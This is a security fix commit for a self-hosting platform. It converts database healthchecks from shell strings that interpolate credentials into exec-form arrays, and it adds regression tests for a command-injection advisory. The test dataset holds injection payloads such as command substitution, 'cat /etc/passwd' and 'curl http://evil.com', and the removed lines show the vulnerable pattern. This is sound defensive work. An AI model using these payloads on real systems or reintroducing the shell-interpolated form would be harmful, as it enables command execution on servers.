fix(database): mount guard, healthcheck CMD exec-form, port input layout (#9674)

This commit is contained in:
Andras Bacsai 2026-04-20 13:18:27 +02:00 committed by GitHub
commit b74f54302b
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
16 changed files with 150 additions and 34 deletions

View file

@ -51,7 +51,7 @@ public function handle(StandaloneClickhouse $database)
],
'labels' => defaultDatabaseLabels($this->database)->toArray(),
'healthcheck' => [
'test' => "clickhouse-client --user {$this->database->clickhouse_admin_user} --password {$this->database->clickhouse_admin_password} --query 'SELECT 1'",
'test' => ['CMD', 'clickhouse-client', '--user', (string) $this->database->clickhouse_admin_user, '--password', (string) $this->database->clickhouse_admin_password, '--query', 'SELECT 1'],
'interval' => '5s',
'timeout' => '5s',
'retries' => 10,

View file

@ -107,7 +107,7 @@ public function handle(StandaloneDragonfly $database)
],
'labels' => defaultDatabaseLabels($this->database)->toArray(),
'healthcheck' => [
'test' => "redis-cli -a {$this->database->dragonfly_password} ping",
'test' => ['CMD', 'redis-cli', '-a', (string) $this->database->dragonfly_password, 'ping'],
'interval' => '5s',
'timeout' => '5s',
'retries' => 10,

View file

@ -109,7 +109,7 @@ public function handle(StandaloneKeydb $database)
],
'labels' => defaultDatabaseLabels($this->database)->toArray(),
'healthcheck' => [
'test' => "keydb-cli --pass {$this->database->keydb_password} ping",
'test' => ['CMD', 'keydb-cli', '--pass', (string) $this->database->keydb_password, 'ping'],
'interval' => '5s',
'timeout' => '5s',
'retries' => 10,
@ -166,7 +166,7 @@ public function handle(StandaloneKeydb $database)
$docker_compose['volumes'] = $volume_names;
}
if (! is_null($this->database->keydb_conf) || ! empty($this->database->keydb_conf)) {
if (! is_null($this->database->keydb_conf) && ! empty($this->database->keydb_conf)) {
$docker_compose['services'][$container_name]['volumes'] = array_merge(
$docker_compose['services'][$container_name]['volumes'] ?? [],
[

View file

@ -175,7 +175,7 @@ public function handle(StandaloneMariadb $database)
);
}
if (! is_null($this->database->mariadb_conf) || ! empty($this->database->mariadb_conf)) {
if (! is_null($this->database->mariadb_conf) && ! empty($this->database->mariadb_conf)) {
$docker_compose['services'][$container_name]['volumes'] = array_merge(
$docker_compose['services'][$container_name]['volumes'],
[

View file

@ -175,7 +175,7 @@ public function handle(StandaloneMysql $database)
);
}
if (! is_null($this->database->mysql_conf) || ! empty($this->database->mysql_conf)) {
if (! is_null($this->database->mysql_conf) && ! empty($this->database->mysql_conf)) {
$docker_compose['services'][$container_name]['volumes'] = array_merge(
$docker_compose['services'][$container_name]['volumes'] ?? [],
[

View file

@ -111,10 +111,7 @@ public function handle(StandalonePostgresql $database)
],
'labels' => defaultDatabaseLabels($this->database)->toArray(),
'healthcheck' => [
'test' => [
'CMD-SHELL',
"psql -U {$this->database->postgres_user} -d {$this->database->postgres_db} -c 'SELECT 1' || exit 1",
],
'test' => ['CMD', 'psql', '-U', (string) $this->database->postgres_user, '-d', (string) $this->database->postgres_db, '-c', 'SELECT 1'],
'interval' => '5s',
'timeout' => '5s',
'retries' => 10,

View file

@ -181,7 +181,7 @@ public function handle(StandaloneRedis $database)
);
}
if (! is_null($this->database->redis_conf) || ! empty($this->database->redis_conf)) {
if (! is_null($this->database->redis_conf) && ! empty($this->database->redis_conf)) {
$docker_compose['services'][$container_name]['volumes'][] = [
'type' => 'bind',
'source' => $this->configuration_dir.'/redis.conf',

View file

@ -54,7 +54,6 @@
readonly value="Starting the database will generate this." canGate="update" :canResource="$database" />
@endif
</div>
<div>
<div class="flex flex-col py-2 w-64">
<div class="flex items-center gap-2 pb-2">
<div class="flex items-center">
@ -76,11 +75,12 @@
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available" canGate="update"
:canResource="$database" />
</div>
<div class="flex flex-col gap-2">
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
canGate="update" :canResource="$database" />
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
</div>
</div>
</form>
<h3 class="pt-4">Advanced</h3>
<div class="w-64">

View file

@ -113,14 +113,15 @@
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available" canGate="update"
:canResource="$database" />
</div>
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
canGate="update" :canResource="$database" />
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
</div>
</form>
<h3 class="pt-4">Advanced</h3>
<div class="w-64">
<div class="flex flex-col gap-2">
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
canGate="update" :canResource="$database" />
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
</div>
</form>
<h3 class="pt-4">Advanced</h3>
<div class="w-64">
<x-forms.checkbox helper="Drain logs to your configured log drain endpoint in your Server settings."
instantSave="instantSaveAdvanced" id="isLogDrainEnabled" label="Drain Logs" canGate="update"
:canResource="$database" />

View file

@ -113,14 +113,15 @@
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available" canGate="update"
:canResource="$database" />
</div>
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
canGate="update" :canResource="$database" />
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
</div>
<div class="flex flex-col gap-2">
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
canGate="update" :canResource="$database" />
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
<x-forms.textarea
helper="<a target='_blank' class='underline dark:text-white' href='https://raw.githubusercontent.com/Snapchat/KeyDB/unstable/keydb.conf'>KeyDB Default Configuration</a>"
label="Custom KeyDB Configuration" rows="10" id="keydbConf" canGate="update" :canResource="$database" />
</div>
</form>
<h3 class="pt-4">Advanced</h3>
<div class="w-64">

View file

@ -137,10 +137,12 @@
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available"
canGate="update" :canResource="$database" />
</div>
<div class="flex flex-col gap-2">
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
</div>
</div>
<x-forms.textarea label="Custom MariaDB Configuration" rows="10" id="mariadbConf"
canGate="update" :canResource="$database" />

View file

@ -151,10 +151,12 @@
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available"
canGate="update" :canResource="$database" />
</div>
<div class="flex flex-col gap-2">
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
</div>
</div>
<x-forms.textarea label="Custom MongoDB Configuration" rows="10" id="mongoConf"
canGate="update" :canResource="$database" />

View file

@ -153,10 +153,12 @@
</div>
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available" canGate="update" :canResource="$database" />
</div>
<div class="flex flex-col gap-2">
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
</div>
</div>
<x-forms.textarea label="Custom Mysql Configuration" rows="10" id="mysqlConf" canGate="update" :canResource="$database" />
<h3 class="pt-4">Advanced</h3>

View file

@ -163,10 +163,12 @@
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available"
canGate="update" :canResource="$database" />
</div>
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort"
label="Public Port" canGate="update" :canResource="$database" />
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
<div class="flex flex-col gap-2">
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort"
label="Public Port" canGate="update" :canResource="$database" />
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
</div>
</div>
<div class="flex flex-col gap-2">

View file

@ -132,10 +132,12 @@
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available"
canGate="update" :canResource="$database" />
</div>
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
<div class="flex flex-col gap-2">
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
</div>
</div>
<x-forms.textarea placeholder="# maxmemory 256mb
# maxmemory-policy allkeys-lru

View file

@ -0,0 +1,107 @@
<?php
/**
* Regression tests for GHSA-gvc4-f276-r88p.
*
* Docker CMD-SHELL healthchecks pass the string to /bin/sh -c, enabling command injection
* via user-controlled DB username/password/database fields. The fix converts all affected
* healthchecks to CMD exec-form arrays, which bypass the shell entirely.
*/
dataset('malicious_db_inputs', [
'semicolon separator' => ['admin; id > /tmp/pwned; echo'],
'command substitution $()' => ['admin$(id > /tmp/pwned)'],
'backtick substitution' => ['admin`id > /tmp/pwned`'],
'pipe operator' => ['admin | cat /etc/passwd'],
'background operator' => ['admin & curl http://evil.com'],
'output redirect' => ['admin > /tmp/evil.txt'],
'newline injection' => ["admin\nid"],
'null byte' => ["admin\0id"],
]);
// ─── PostgreSQL ──────────────────────────────────────────────────────────────
test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () {
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php');
expect($source)->not->toContain('CMD-SHELL');
expect($source)->toContain("'CMD', 'psql'");
});
test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
// Simulate what StartPostgresql now generates
$healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1'];
expect($healthcheck[0])->toBe('CMD');
expect($healthcheck[0])->not->toBe('CMD-SHELL');
// Malicious value is isolated as a single argv element — no shell interprets it
expect($healthcheck)->toContain($malicious);
expect(is_array($healthcheck))->toBeTrue();
})->with('malicious_db_inputs');
// ─── KeyDB ────────────────────────────────────────────────────────────────────
test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php');
expect($source)->not->toContain('CMD-SHELL');
expect($source)->toContain("'CMD', 'keydb-cli'");
});
test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
$healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping'];
expect($healthcheck[0])->toBe('CMD');
expect($healthcheck)->toContain($malicious);
expect(is_array($healthcheck))->toBeTrue();
})->with('malicious_db_inputs');
// ─── Dragonfly ────────────────────────────────────────────────────────────────
test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php');
expect($source)->not->toContain('CMD-SHELL');
expect($source)->toContain("'CMD', 'redis-cli'");
});
test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
$healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping'];
expect($healthcheck[0])->toBe('CMD');
expect($healthcheck)->toContain($malicious);
expect(is_array($healthcheck))->toBeTrue();
})->with('malicious_db_inputs');
// ─── ClickHouse ───────────────────────────────────────────────────────────────
test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php');
expect($source)->not->toContain('CMD-SHELL');
expect($source)->toContain("'CMD', 'clickhouse-client'");
});
test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
$healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1'];
expect($healthcheck[0])->toBe('CMD');
expect($healthcheck)->toContain($malicious);
expect(is_array($healthcheck))->toBeTrue();
})->with('malicious_db_inputs');
// ─── Verify unaffected databases still use their safe patterns ────────────────
test('mysql healthcheck already uses CMD exec-form (no regression)', function () {
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php');
// MySQL already used CMD array form — ensure it stays that way
expect($source)->toContain("'CMD', 'mysqladmin'");
});
test('mariadb healthcheck uses safe fixed script (no regression)', function () {
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php');
expect($source)->toContain('healthcheck.sh');
// Must not have gained any user-field interpolation
expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i');
});